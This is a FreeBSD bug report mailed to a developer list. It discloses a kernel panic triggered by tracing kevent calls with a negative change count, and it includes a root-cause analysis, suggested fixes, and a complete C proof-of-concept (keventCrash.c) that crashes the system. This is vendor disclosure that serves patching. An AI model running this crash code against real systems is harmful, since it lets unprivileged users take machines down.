[Bug 217435] Users can panic the kernel by tracing kevents with unusual arguments.
bugzilla-noreply at freebsd.org
bugzilla-noreply at freebsd.org
Tue Feb 28 20:28:21 UTC 2017
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=217435
Bug ID: 217435
Summary: Users can panic the kernel by tracing kevents with
unusual arguments.
Product: Base System
Version: 10.3-RELEASE
Hardware: Any
OS: Any
Status: New
Severity: Affects Many People
Priority: ---
Component: kern
Assignee: freebsd-bugs at FreeBSD.org
Reporter: tim.newsham at nccgroup.trust
/*
* keventCrash.c
* Crash FreeBSD by tracing kevent with unusual parameters.
Synopsis:
Tracing sys_kevent calls with unusual arguments leads to an overly
large allocation request that leads to a general protection fault.
Description:
sys_kevent tries to trace with this code before doing the syscall:
if (KTRPOINT(td, KTR_GENIO)) {
ktriov.iov_base = uap->changelist;
ktriov.iov_len = uap->nchanges * sizeof(struct kevent);
ktruio = (struct uio){ .uio_iov = &ktriov, .uio_iovcnt = 1,
.uio_segflg = UIO_USERSPACE, .uio_rw = UIO_READ,
.uio_td = td };
ktruioin = cloneuio(&ktruio);
ktriov.iov_base = uap->eventlist;
ktriov.iov_len = uap->nevents * sizeof(struct kevent);
ktruioout = cloneuio(&ktruio);
}
and this code after doing the syscall:
if (ktruioin != NULL) {
ktruioin->uio_resid = uap->nchanges * sizeof(struct kevent);
ktrgenio(uap->fd, UIO_WRITE, ktruioin, 0);
ktruioout->uio_resid = td->td_retval[0] * sizeof(struct kevent);
ktrgenio(uap->fd, UIO_READ, ktruioout, error);
}
here uap->nchanges nad upa->nevents are signed integers,
iov_len is a size_t (unsigned) and uio_resid is a ssize_t (signed).
Later in ktrgenio an int datalen is computed:
datalen = MIN(uio->uio_resid, ktr_geniosize);
buf = malloc(datalen, M_KTRACE, M_WAITOK);
which truncates uio_resid to 32-bits and allocates from it.
malloc will treat datalen as "unsigned long", sign extending
it to a very large number. This causes errors in malloc
resulting in a crash.
Recommendation:
Rejected negative values of "nchanges" and "nevents" in sys_kevent.
Make "datalen" an unsigned long in ktrgenio.
Consider rejecting overly large allocation requests in malloc.
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/event.h>
#include <sys/param.h>
#include <sys/time.h>
#include <sys/uio.h>
#include <sys/ktrace.h>
void xperror(char *msg)
{
perror(msg);
exit(1);
}
int main(int argc, char **argv)
{
char *fn = "/tmp/trace";
struct kevent changes[1] = { {0} };
struct kevent events[1] = { {0} };
if(open(fn, O_RDWR | O_CREAT, 0666) == -1)
xperror(fn);
if(ktrace(fn, KTRFLAG_DESCEND | KTROP_SET, KTRFAC_GENIO, 0) == -1)
xperror("ktrace");
if(kevent(0, changes, -1, events, 1, 0) == -1)
xperror("kevent");
printf("done\n");
return 0;
}
--
You are receiving this mail because:
You are the assignee for the bug.
More information about the freebsd-bugs
mailing list